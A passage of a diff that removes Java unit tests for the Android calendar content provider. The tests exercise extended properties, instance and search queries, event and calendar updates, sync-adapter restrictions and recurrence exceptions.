-        mContentResolver.update(eventUri, ev, null, null);
-        try {
-            mContentResolver.delete(colSyncUri, ColorHelper.WHERE_COLOR_ACCOUNT_AND_INDEX,
-                    new String[] {
-                            account, CTS_TEST_TYPE,
-                            ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]
-                    });
-            fail("Should not allow deleting referenced color");
-        } catch (UnsupportedOperationException e) {
-            // WAI
-        }
-
-        // TODO test colors with exceptions
-
-        // Clean up
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-        ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
-    }
-
-    /**
-     * Tests creation and manipulation of ExtendedProperties.
-     */
-    @MediumTest
-    public void testExtendedProperties() {
-        String account = "ep_account";
-        int seed = 0;
-
-        // Clean up just in case.
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar.
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-
-        // Create events.
-        ContentValues eventValues;
-        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-        assertTrue(eventId1 >= 0);
-
-        /*
-         * Add some extended properties.
-         */
-        long epId1 = ExtendedPropertiesHelper.addExtendedProperty(mContentResolver, account,
-                eventId1, "first", "Jeffrey");
-        long epId2 = ExtendedPropertiesHelper.addExtendedProperty(mContentResolver, account,
-                eventId1, "last", "Lebowski");
-        long epId3 = ExtendedPropertiesHelper.addExtendedProperty(mContentResolver, account,
-                eventId1, "title", "Dude");
-
-        /*
-         * Spot-check a couple of entries.
-         */
-        Cursor cursor = ExtendedPropertiesHelper.findExtendedPropertiesByEventId(mContentResolver,
-                eventId1);
-        try {
-            assertEquals(3, cursor.getCount());
-            //DatabaseUtils.dumpCursor(cursor);
-
-            while (cursor.moveToNext()) {
-                String name =
-                    cursor.getString(ExtendedPropertiesHelper.EXTENDED_PROPERTIES_NAME_INDEX);
-                String value =
-                    cursor.getString(ExtendedPropertiesHelper.EXTENDED_PROPERTIES_VALUE_INDEX);
-
-                if (name.equals("last")) {
-                    assertEquals("Lebowski", value);
-                }
-            }
-
-            String title = ExtendedPropertiesHelper.lookupValueByName(mContentResolver, eventId1,
-                    "title");
-            assertEquals("Dude", title);
-        } finally {
-            if (cursor != null) {
-                cursor.close();
-            }
-        }
-
-        // Update the title.  Must be done as a sync adapter.
-        ContentValues newValues = new ContentValues();
-        newValues.put(ExtendedProperties.VALUE, "Big");
-        Uri uri = ContentUris.withAppendedId(ExtendedProperties.CONTENT_URI, epId3);
-        uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
-        int count = mContentResolver.update(uri, newValues, null, null);
-        assertEquals(1, count);
-
-        // check it
-        String title = ExtendedPropertiesHelper.lookupValueByName(mContentResolver, eventId1,
-                "title");
-        assertEquals("Big", title);
-
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    private class CalendarEventHelper {
-
-      private long mCalendarId;
-      private String mAccount;
-      private int mSeed;
-
-      public CalendarEventHelper(String account, int seed) {
-        mAccount = account;
-        mSeed = seed;
-        ContentValues values = CalendarHelper.getNewCalendarValues(account, seed);
-        mCalendarId = createAndVerifyCalendar(account, seed++, values);
-      }
-
-      public ContentValues addEvent(String timeString, int timeZoneIndex, long duration) {
-        long event1Start = timeInMillis(timeString, timeZoneIndex);
-        ContentValues eventValues;
-        eventValues = EventHelper.getNewEventValues(mAccount, mSeed++, mCalendarId, true);
-        eventValues.put(Events.DESCRIPTION, timeString);
-        eventValues.put(Events.DTSTART, event1Start);
-        eventValues.put(Events.DTEND, event1Start + duration);
-        eventValues.put(Events.EVENT_TIMEZONE, TIME_ZONES[timeZoneIndex]);
-        long eventId = createAndVerifyEvent(mAccount, mSeed, mCalendarId, true, eventValues);
-        assertTrue(eventId >= 0);
-        return eventValues;
-      }
-
-      public long getCalendarId() {
-        return mCalendarId;
-      }
-    }
-
-    /**
-     * Test query to retrieve instances within a certain time interval.
-     */
-    public void testWhenByDayQuery() {
-      String account = "cser_account";
-      int seed = 0;
-
-      // Clean up just in case
-      CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-      // Create a calendar
-      CalendarEventHelper helper = new CalendarEventHelper(account, seed);
-
-      // Add events to the calendar--the first two in the queried range
-      List<ContentValues> eventsWithinRange = new ArrayList<ContentValues>();
-
-      ContentValues values = helper.addEvent("2009-10-01T08:00:00", 0, DateUtils.HOUR_IN_MILLIS);
-      eventsWithinRange.add(values);
-
-      values = helper.addEvent("2010-10-01T08:00:00", 0, DateUtils.HOUR_IN_MILLIS);
-      eventsWithinRange.add(values);
-
-      helper.addEvent("2011-10-01T08:00:00", 0, DateUtils.HOUR_IN_MILLIS);
-
-      // Prepare the start time and end time of the range to query
-      String startTime = "2009-01-01T00:00:00";
-      String endTime = "2011-01-01T00:00:00";
-      int julianStart = getJulianDay(startTime, 0);
-      int julianEnd = getJulianDay(endTime, 0);
-      Uri uri = Uri.withAppendedPath(
-          CalendarContract.Instances.CONTENT_BY_DAY_URI, julianStart + "/" + julianEnd);
-
-      // Query the range, sorting by event start time
-      Cursor c = mContentResolver.query(uri, null, Instances.CALENDAR_ID + "="
-              + helper.getCalendarId(), null, Events.DTSTART);
-
-      // Assert that two events are returned
-      assertEquals(c.getCount(), 2);
-
-      Set<String> keySet = new HashSet();
-      keySet.add(Events.DESCRIPTION);
-      keySet.add(Events.DTSTART);
-      keySet.add(Events.DTEND);
-      keySet.add(Events.EVENT_TIMEZONE);
-
-      // Verify that the contents of those two events match the cursor results
-      verifyContentValuesAgainstCursor(eventsWithinRange, keySet, c);
-    }
-
-    private void verifyContentValuesAgainstCursor(List<ContentValues> cvs,
-        Set<String> keys, Cursor cursor) {
-      assertEquals(cursor.getCount(), cvs.size());
-
-      cursor.moveToFirst();
-
-      int i=0;
-      do {
-        ContentValues cv = cvs.get(i);
-        for (String key : keys) {
-          assertEquals(cv.get(key).toString(),
-                  cursor.getString(cursor.getColumnIndex(key)));
-        }
-        i++;
-      } while (cursor.moveToNext());
-
-      cursor.close();
-    }
-
-    private long timeInMillis(String timeString, int timeZoneIndex) {
-      Time startTime = new Time(TIME_ZONES[timeZoneIndex]);
-      startTime.parse3339(timeString);
-      return startTime.toMillis(false);
-    }
-
-    private int getJulianDay(String timeString, int timeZoneIndex) {
-      Time time = new Time(TIME_ZONES[timeZoneIndex]);
-      time.parse3339(timeString);
-      return Time.getJulianDay(time.toMillis(false), time.gmtoff);
-    }
-
-    /**
-     * Test instance queries with search parameters.
-     */
-    @MediumTest
-    public void testInstanceSearch() {
-        String account = "cser_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create a calendar
-        ContentValues values = CalendarHelper.getNewCalendarValues(account, seed);
-        long calendarId = createAndVerifyCalendar(account, seed++, values);
-
-        String testStart = "2009-10-01T08:00:00";
-        String timeZone = TIME_ZONES[0];
-        Time startTime = new Time(timeZone);
-        startTime.parse3339(testStart);
-        long startMillis = startTime.toMillis(false);
-
-        // Create some events, with different descriptions.  (Could also create a single
-        // recurring event and some instance exceptions.)
-        ContentValues eventValues;
-        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        eventValues.put(Events.DESCRIPTION, "testevent event-one fiddle");
-        eventValues.put(Events.DTSTART, startMillis);
-        eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS);
-        eventValues.put(Events.EVENT_TIMEZONE, timeZone);
-        long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-        assertTrue(eventId1 >= 0);
-
-        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        eventValues.put(Events.DESCRIPTION, "testevent event-two fuzzle");
-        eventValues.put(Events.DTSTART, startMillis + DateUtils.HOUR_IN_MILLIS);
-        eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS * 2);
-        eventValues.put(Events.EVENT_TIMEZONE, timeZone);
-        long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-        assertTrue(eventId2 >= 0);
-
-        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        eventValues.put(Events.DESCRIPTION, "testevent event-three fiddle");
-        eventValues.put(Events.DTSTART, startMillis + DateUtils.HOUR_IN_MILLIS * 2);
-        eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS * 3);
-        eventValues.put(Events.EVENT_TIMEZONE, timeZone);
-        long eventId3 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-        assertTrue(eventId3 >= 0);
-
-        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        eventValues.put(Events.DESCRIPTION, "nontestevent");
-        eventValues.put(Events.DTSTART, startMillis + (long) (DateUtils.HOUR_IN_MILLIS * 1.5f));
-        eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS * 2);
-        eventValues.put(Events.EVENT_TIMEZONE, timeZone);
-        long eventId4 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-        assertTrue(eventId4 >= 0);
-
-        String rangeStart = "2009-10-01T00:00:00";
-        String rangeEnd = "2009-10-01T11:59:59";
-        String[] projection = new String[] { Instances.BEGIN };
-
-        if (false) {
-            Cursor instances = getInstances(timeZone, rangeStart, rangeEnd, projection,
-                    new long[] { calendarId });
-            dumpInstances(instances, timeZone, "all");
-            instances.close();
-        }
-
-        Cursor instances;
-        int count;
-
-        // Find all matching "testevent".  The search matches on partial strings, so this
-        // will also pick up "nontestevent".
-        instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
-                "testevent", false, projection, new long[] { calendarId });
-        count = instances.getCount();
-        instances.close();
-        assertEquals(4, count);
-
-        // Find all matching "fiddle" and "event".  Set the "by day" flag just to be different.
-        instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
-                "fiddle event", true, projection, new long[] { calendarId });
-        count = instances.getCount();
-        instances.close();
-        assertEquals(2, count);
-
-        // Find all matching "fiddle" and "baluchitherium".
-        instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
-                "baluchitherium fiddle", false, projection, new long[] { calendarId });
-        count = instances.getCount();
-        instances.close();
-        assertEquals(0, count);
-
-        // Find all matching "event-two".
-        instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
-                "event-two", false, projection, new long[] { calendarId });
-        count = instances.getCount();
-        instances.close();
-        assertEquals(1, count);
-
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    @MediumTest
-    public void testCalendarUpdateAsApp() {
-        String account = "cu1_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create a calendar
-        ContentValues values = CalendarHelper.getNewCalendarValues(account, seed);
-        long id = createAndVerifyCalendar(account, seed++, values);
-
-        Uri uri = ContentUris.withAppendedId(Calendars.CONTENT_URI, id);
-
-        // Update the calendar using the direct Uri
-        ContentValues updateValues = CalendarHelper.getUpdateCalendarValuesWithOriginal(
-                values, seed++);
-        assertEquals(1, mContentResolver.update(uri, updateValues, null, null));
-
-        verifyCalendar(account, values, id, 1);
-
-        // Update the calendar using selection + args
-        String selection = Calendars._ID + "=?";
-        String[] selectionArgs = new String[] { Long.toString(id) };
-
-        updateValues = CalendarHelper.getUpdateCalendarValuesWithOriginal(values, seed++);
-
-        assertEquals(1, mContentResolver.update(
-                Calendars.CONTENT_URI, updateValues, selection, selectionArgs));
-
-        verifyCalendar(account, values, id, 1);
-
-        removeAndVerifyCalendar(account, id);
-    }
-
-    // TODO test calendar updates as sync adapter
-
-    /**
-     * Test access to the "syncstate" table.
-     */
-    @MediumTest
-    public void testSyncState() {
-        String account = "ss_account";
-        int seed = 0;
-
-        // Clean up just in case
-        SyncStateHelper.deleteSyncStateByAccount(mContentResolver, account, true);
-
-        // Create a new sync state entry
-        ContentValues values = SyncStateHelper.getNewSyncStateValues(account);
-        long id = createAndVerifySyncState(account, values);
-
-        // Look it up with the by-ID URI
-        Cursor c = SyncStateHelper.getSyncStateById(mContentResolver, id);
-        assertNotNull(c);
-        assertEquals(1, c.getCount());
-        c.close();
-
-        // Try to remove it as non-sync-adapter; expected to fail.
-        boolean failed;
-        try {
-            SyncStateHelper.deleteSyncStateByAccount(mContentResolver, account, false);
-            failed = false;
-        } catch (IllegalArgumentException iae) {
-            failed = true;
-        }
-        assertTrue("deletion of sync state by app was allowed", failed);
-
-        // Remove it and verify that it's gone
-        removeAndVerifySyncState(account);
-    }
-
-
-    private void verifyEvent(ContentValues values, long eventId) {
-        Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
-        // Verify
-        Cursor c = mContentResolver
-                .query(eventUri, EventHelper.EVENTS_PROJECTION, null, null, null);
-        assertEquals(1, c.getCount());
-        assertTrue(c.moveToFirst());
-        assertEquals(eventId, c.getLong(0));
-        for (String key : values.keySet()) {
-            int index = c.getColumnIndex(key);
-            assertEquals(key, values.getAsString(key), c.getString(index));
-        }
-        c.close();
-    }
-
-    @MediumTest
-    public void testEventCreationAndDeletion() {
-        String account = "ec1_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar and event
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-
-        ContentValues eventValues = EventHelper
-                .getNewEventValues(account, seed++, calendarId, true);
-        long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-
-        Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
-
-        removeAndVerifyEvent(eventUri, eventValues, account);
-
-        // Attempt to create an event without a calendar ID.
-        ContentValues badValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        badValues.remove(Events.CALENDAR_ID);
-        try {
-            createAndVerifyEvent(account, seed, calendarId, true, badValues);
-            fail("was allowed to create an event without CALENDAR_ID");
-        } catch (IllegalArgumentException iae) {
-            // expected
-        }
-
-        // Validation may be relaxed for content providers, so test missing timezone as app.
-        badValues = EventHelper.getNewEventValues(account, seed++, calendarId, false);
-        badValues.remove(Events.EVENT_TIMEZONE);
-        try {
-            createAndVerifyEvent(account, seed, calendarId, false, badValues);
-            fail("was allowed to create an event without EVENT_TIMEZONE");
-        } catch (IllegalArgumentException iae) {
-            // expected
-        }
-
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    @MediumTest
-    public void testEventUpdateAsApp() {
-        String account = "em1_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-
-        // Create event as sync adapter
-        ContentValues eventValues = EventHelper
-                .getNewEventValues(account, seed++, calendarId, true);
-        long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-
-        // Update event as app
-        Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
-
-        ContentValues updateValues = EventHelper.getUpdateEventValuesWithOriginal(eventValues,
-                seed++, false);
-        assertEquals(1, mContentResolver.update(eventUri, updateValues, null, null));
-        updateValues.put(Events.DIRTY, 1);      // provider should have marked as dirty
-        verifyEvent(updateValues, eventId);
-
-        // Try nulling out a required value.
-        ContentValues badValues = new ContentValues(updateValues);
-        badValues.putNull(Events.EVENT_TIMEZONE);
-        badValues.remove(Events.DIRTY);
-        try {
-            mContentResolver.update(eventUri, badValues, null, null);
-            fail("was allowed to null out EVENT_TIMEZONE");
-        } catch (IllegalArgumentException iae) {
-            // good
-        }
-
-        removeAndVerifyEvent(eventUri, eventValues, account);
-
-        // delete the calendar
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    /**
-     * Tests update of multiple events with a single update call.
-     */
-    @MediumTest
-    public void testBulkUpdate() {
-        String account = "bup_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-        String calendarIdStr = String.valueOf(calendarId);
-
-        // Create events
-        ContentValues eventValues;
-        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-
-        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-
-        // Update the "description" field in all events in this calendar.
-        String newDescription = "bulk edit";
-        ContentValues updateValues = new ContentValues();
-        updateValues.put(Events.DESCRIPTION, newDescription);
-
-        // Must be sync adapter to do a bulk update.
-        Uri uri = asSyncAdapter(Events.CONTENT_URI, account, CTS_TEST_TYPE);
-        int count = mContentResolver.update(uri, updateValues, SQL_WHERE_CALENDAR_ID,
-                new String[] { calendarIdStr });
-
-        // Check to see if the changes went through.
-        Uri eventUri = Events.CONTENT_URI;
-        Cursor c = mContentResolver.query(eventUri, new String[] { Events.DESCRIPTION },
-                SQL_WHERE_CALENDAR_ID, new String[] { calendarIdStr }, null);
-        assertEquals(2, c.getCount());
-        while (c.moveToNext()) {
-            assertEquals(newDescription, c.getString(0));
-        }
-        c.close();
-
-        // delete the calendar
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    /**
-     * Tests the content provider's enforcement of restrictions on who is allowed to modify
-     * specific columns in a Calendar.
-     * <p>
-     * This attempts to create a new row in the Calendar table, specifying one restricted
-     * column at a time.
-     */
-    @MediumTest
-    public void testSyncOnlyInsertEnforcement() {
-        // These operations should not succeed, so there should be nothing to clean up after.
-        // TODO: this should be a new event augmented with an illegal column, not a single
-        //       column.  Otherwise we might be tripping over a "DTSTART must exist" test.
-        ContentValues vals = new ContentValues();
-        for (int i = 0; i < Calendars.SYNC_WRITABLE_COLUMNS.length; i++) {
-            boolean threw = false;
-            try {
-                vals.clear();
-                vals.put(Calendars.SYNC_WRITABLE_COLUMNS[i], "1");
-                mContentResolver.insert(Calendars.CONTENT_URI, vals);
-            } catch (IllegalArgumentException e) {
-                threw = true;
-            }
-            assertTrue("Only sync adapter should be allowed to insert "
-                    + Calendars.SYNC_WRITABLE_COLUMNS[i], threw);
-        }
-    }
-
-    /**
-     * Tests creation of a recurring event.
-     * <p>
-     * This (and the other recurrence tests) uses dates well in the past to reduce the likelihood
-     * of encountering non-test recurring events.  (Ideally we would select events associated
-     * with a specific calendar.)  With dates well in the past, it's also important to have a
-     * fixed maximum count or end date; otherwise, if the metadata min/max instance values are
-     * large enough, the recurrence recalculation processor could get triggered on an insert or
-     * update and bump up against the 2000-instance limit.
-     *
-     * TODO: need some allDay tests
-     */
-    @MediumTest
-    public void testRecurrence() {
-        String account = "re_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-
-        // Create recurring event
-        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
-                calendarId, true, "2003-08-05T09:00:00", "PT1H",
-                "FREQ=WEEKLY;INTERVAL=2;COUNT=4;BYDAY=TU,SU;WKST=SU");
-        long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-        //Log.d(TAG, "+++ basic recurrence eventId is " + eventId);
-
-        // Check to see if we have the expected number of instances
-        String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
-        int instanceCount = getInstanceCount(timeZone, "2003-08-05T00:00:00",
-                "2003-08-31T11:59:59", new long[] { calendarId });
-        if (false) {
-            Cursor instances = getInstances(timeZone, "2003-08-05T00:00:00", "2003-08-31T11:59:59",
-                    new String[] { Instances.BEGIN }, new long[] { calendarId });
-            dumpInstances(instances, timeZone, "initial");
-            instances.close();
-        }
-        assertEquals("recurrence instance count", 4, instanceCount);
-
-        // delete the calendar
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    /**
-     * Tests conversion of a regular event to a recurring event.
-     */
-    @MediumTest
-    public void testConversionToRecurring() {
-        String account = "reconv_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar and event
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-
-        ContentValues eventValues = EventHelper
-                .getNewEventValues(account, seed++, calendarId, true);
-        long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-
-        long dtstart = eventValues.getAsLong(Events.DTSTART);
-        long dtend = eventValues.getAsLong(Events.DTEND);
-        long durationSecs = (dtend - dtstart) / 1000;
-
-        ContentValues updateValues = new ContentValues();
-        updateValues.put(Events.RRULE, "FREQ=WEEKLY");   // recurs forever
-        updateValues.put(Events.DURATION, "P" + durationSecs + "S");
-        updateValues.putNull(Events.DTEND);
-
-        // Issue update; do it as app instead of sync adapter to exercise that path.
-        updateAndVerifyEvent(account, calendarId, eventId, false, updateValues);
-
-        // Make sure LAST_DATE got nulled out by our infinitely repeating sequence.
-        Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
-        Cursor c = mContentResolver.query(eventUri, new String[] { Events.LAST_DATE },
-                null, null, null);
-        assertEquals(1, c.getCount());
-        assertTrue(c.moveToFirst());
-        assertNull(c.getString(0));
-        c.close();
-
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    /**
-     * Tests creation of a recurring event with single-instance exceptions.
-     */
-    @MediumTest
-    public void testSingleRecurrenceExceptions() {
-        String account = "rex_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-
-        // Create recurring event.
-        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
-                calendarId, true, "1999-03-28T09:00:00", "PT1H", "FREQ=WEEKLY;WKST=SU;COUNT=100");
-        long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
-
-        // Add some attendees and reminders.
-        addAttendees(account, eventId, seed);
-        addReminders(account, eventId, seed);
-
-        // Select a period that gives us 5 instances.  We don't want this to straddle a DST
-        // transition, because we expect the startMinute field to be the same for all
-        // instances, and it's stored as minutes since midnight in the device's time zone.
-        // Things won't be consistent if the event and the device have different ideas about DST.
-        String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
-        String testStart = "1999-07-02T00:00:00";
-        String testEnd = "1999-08-04T23:59:59";
-        String[] projection = { Instances.BEGIN, Instances.START_MINUTE, Instances.END_MINUTE };
-
-        Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
-                new long[] { calendarId });
-        if (DEBUG_RECURRENCE) {
-            dumpInstances(instances, timeZone, "initial");
-        }
-
-        assertEquals("initial recurrence instance count", 5, instances.getCount());
-
-        /*
-         * Advance the start time of a few instances, and verify.
-         */
-
-        // Leave first instance alone.
-        instances.moveToPosition(1);
-
-        long startMillis;
-        ContentValues excepValues;
-
-        // Advance the start time of the 2nd instance.
-        startMillis = instances.getLong(0);
-        excepValues = EventHelper.getNewExceptionValues(startMillis);
-        excepValues.put(Events.DTSTART, startMillis + 3600*1000);
-        long excepEventId2 = createAndVerifyException(account, eventId, excepValues, true);
-        instances.moveToNext();
-
-        // Advance the start time of the 3rd instance.
-        startMillis = instances.getLong(0);
-        excepValues = EventHelper.getNewExceptionValues(startMillis);
-        excepValues.put(Events.DTSTART, startMillis + 3600*1000*2);
-        long excepEventId3 = createAndVerifyException(account, eventId, excepValues, true);
-        instances.moveToNext();
-
-        // Cancel the 4th instance.
-        startMillis = instances.getLong(0);
-        excepValues = EventHelper.getNewExceptionValues(startMillis);
-        excepValues.put(Events.STATUS, Events.STATUS_CANCELED);
-        long excepEventId4 = createAndVerifyException(account, eventId, excepValues, true);
-        instances.moveToNext();
-
-        // TODO: try to modify a non-existent instance.
-
-        instances.close();
-
-        // TODO: compare Reminders, Attendees, ExtendedProperties on one of the exception events
-
-        // Re-query the instances and figure out if they look right.
-        instances = getInstances(timeZone, testStart, testEnd, projection,
-                new long[] { calendarId });
-        if (DEBUG_RECURRENCE) {
-            dumpInstances(instances, timeZone, "with DTSTART exceptions");
-        }
-        assertEquals("exceptional recurrence instance count", 4, instances.getCount());
-
-        long prevMinute = -1;
-        while (instances.moveToNext()) {
-            // expect the start times for each entry to be different from the previous entry
-            long startMinute = instances.getLong(1);
-            assertTrue("instance start times are different", startMinute != prevMinute);
-
-            prevMinute = startMinute;
-        }
-        instances.close();
-
-
-        // Delete all of our exceptions, and verify.
-        int deleteCount = 0;
-        deleteCount += deleteException(account, eventId, excepEventId2);
-        deleteCount += deleteException(account, eventId, excepEventId3);
-        deleteCount += deleteException(account, eventId, excepEventId4);
-        assertEquals("events deleted", 3, deleteCount);
-
-        // Re-query the instances and figure out if they look right.
-        instances = getInstances(timeZone, testStart, testEnd, projection,
-                new long[] { calendarId });
-        if (DEBUG_RECURRENCE) {
-            dumpInstances(instances, timeZone, "post exception deletion");
-        }
-        assertEquals("post-exception deletion instance count", 5, instances.getCount());
-
-        prevMinute = -1;
-        while (instances.moveToNext()) {
-            // expect the start times for each entry to be the same
-            long startMinute = instances.getLong(1);
-            if (prevMinute != -1) {
-                assertEquals("instance start times are the same", startMinute, prevMinute);
-            }
-            prevMinute = startMinute;
-        }
-        instances.close();
-
-        /*
-         * Repeat the test, this time modifying DURATION.
-         */
-
-        instances = getInstances(timeZone, testStart, testEnd, projection,
-                new long[] { calendarId });
-        if (DEBUG_RECURRENCE) {
-            dumpInstances(instances, timeZone, "initial");
-        }
-
-        assertEquals("initial recurrence instance count", 5, instances.getCount());
-
-        // Leave first instance alone.
-        instances.moveToPosition(1);
-
-        // Advance the end time of the 2nd instance.
-        startMillis = instances.getLong(0);
-        excepValues = EventHelper.getNewExceptionValues(startMillis);
-        excepValues.put(Events.DURATION, "P" + 3600*2 + "S");
-        excepEventId2 = createAndVerifyException(account, eventId, excepValues, true);
-        instances.moveToNext();
-
-        // Advance the end time of the 3rd instance, and change the self-attendee status.
-        startMillis = instances.getLong(0);
-        excepValues = EventHelper.getNewExceptionValues(startMillis);
-        excepValues.put(Events.DURATION, "P" + 3600*3 + "S");
-        excepValues.put(Events.SELF_ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_DECLINED);
-        excepEventId3 = createAndVerifyException(account, eventId, excepValues, true);
-        instances.moveToNext();
-
-        // Advance the start time of the 4th instance, which will also advance the end time.
-        startMillis = instances.getLong(0);
-        excepValues = EventHelper.getNewExceptionValues(startMillis);
-        excepValues.put(Events.DTSTART, startMillis + 3600*1000);
-        excepEventId4 = createAndVerifyException(account, eventId, excepValues, true);
-        instances.moveToNext();
-
-        instances.close();
-
-        // TODO: make sure the selfAttendeeStatus change took
-
-        // Re-query the instances and figure out if they look right.
-        instances = getInstances(timeZone, testStart, testEnd, projection,
-                new long[] { calendarId });
-        if (DEBUG_RECURRENCE) {
-            dumpInstances(instances, timeZone, "with DURATION exceptions");
-        }
-        assertEquals("exceptional recurrence instance count", 5, instances.getCount());
-
-        prevMinute = -1;
-        while (instances.moveToNext()) {
-            // expect the start times for each entry to be different from the previous entry
-            long endMinute = instances.getLong(2);
-            assertTrue("instance end times are different", endMinute != prevMinute);
-
-            prevMinute = endMinute;
-        }
-        instances.close();
-
-        // delete the calendar
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    /**
-     * Tests creation of a simple recurrence exception when not pretending to be the sync
-     * adapter.  One significant consequence is that we don't set the _sync_id field in the
-     * events, which affects how the provider correlates recurrences and exceptions.
-     */
-    @MediumTest
-    public void testNonAdapterRecurrenceExceptions() {
-        String account = "rena_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-
-        // Generate recurring event, with "asSyncAdapter" set to false.
-        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
-                calendarId, false, "1991-02-03T12:00:00", "PT1H", "FREQ=DAILY;WKST=SU;COUNT=10");
-
-        // Select a period that gives us 3 instances.
-        String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
-        String testStart = "1991-02-03T00:00:00";
-        String testEnd = "1991-02-05T23:59:59";
-        String[] projection = { Instances.BEGIN, Instances.START_MINUTE };
-
-        // Expand the bounds of the instances table so we expand future events as they are added.
-        expandInstanceRange(account, calendarId, testStart, testEnd, timeZone);
-
-        // Create the event in the database.
-        long eventId = createAndVerifyEvent(account, seed++, calendarId, false, eventValues);
-        assertTrue(eventId >= 0);
-
-        // Add some attendees.
-        addAttendees(account, eventId, seed);
-
-        Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
-                new long[] { calendarId });
-        if (DEBUG_RECURRENCE) {
-            dumpInstances(instances, timeZone, "initial");
-        }
-        assertEquals("initial recurrence instance count", 3, instances.getCount());
-
-        /*
-         * Alter the attendee status of the second event.  This should cause the instances to
-         * be updated, replacing the previous 2nd instance with the exception instance.  If the
-         * code is broken we'll see four instances (because the original instance didn't get
-         * removed) or one instance (because the code correctly deleted all related events but
-         * couldn't correlate the exception with its original recurrence).
-         */
-
-        // Leave first instance alone.
-        instances.moveToPosition(1);
-
-        long startMillis;
-        ContentValues excepValues;
-
-        // Advance the start time of the 2nd instance.
-        startMillis = instances.getLong(0);
-        excepValues = EventHelper.getNewExceptionValues(startMillis);
-        excepValues.put(Events.SELF_ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_DECLINED);
-        long excepEventId2 = createAndVerifyException(account, eventId, excepValues, false);
-        instances.moveToNext();
-
-        instances.close();
-
-        // Re-query the instances and figure out if they look right.
-        instances = getInstances(timeZone, testStart, testEnd, projection,
